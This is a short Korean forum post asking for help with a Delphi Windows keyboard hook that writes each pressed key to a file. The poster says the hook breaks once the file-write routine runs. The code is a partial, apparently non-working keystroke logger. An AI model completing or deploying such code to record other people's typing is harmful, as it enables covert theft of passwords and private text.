procedure WriteData;

begin

AssignFile(TF, fHookFile);

Filemode := 2;

if FileExists(fHookFile) then Reset(TF)

else Rewrite(TF);

Append(TF);

Writeln(TF, cChar);

Flush(TF);

CloseFile(TF);

end;



function KeyHook(Code : Integer; wParam : WPARAM; lParam : LPARAM) : LongInt; stdcall;

begin

if Code >= 0 then

begin

if wParam in [50..200] then

begin

cChar := Chr(wParam);

WriteData;

end;

end;



Result := CallNextHookEx(hKeyHook, Code, wParam, lParam);

end;



=================================================================================

위와같이하면 write함수 거쳐가기만 하면 후킹이 깨져서 안되는데요,,,

도대체 왜그럴까요??? ㅠ,ㅠ,,,

아시는분 도와주세요,,, ㅠ,ㅠ,,,

눌러지는 키값을 계속 화일로 저장하려고 하는데,,, 아 대체 왜그런걸까요??? ㅠ,ㅠ,,,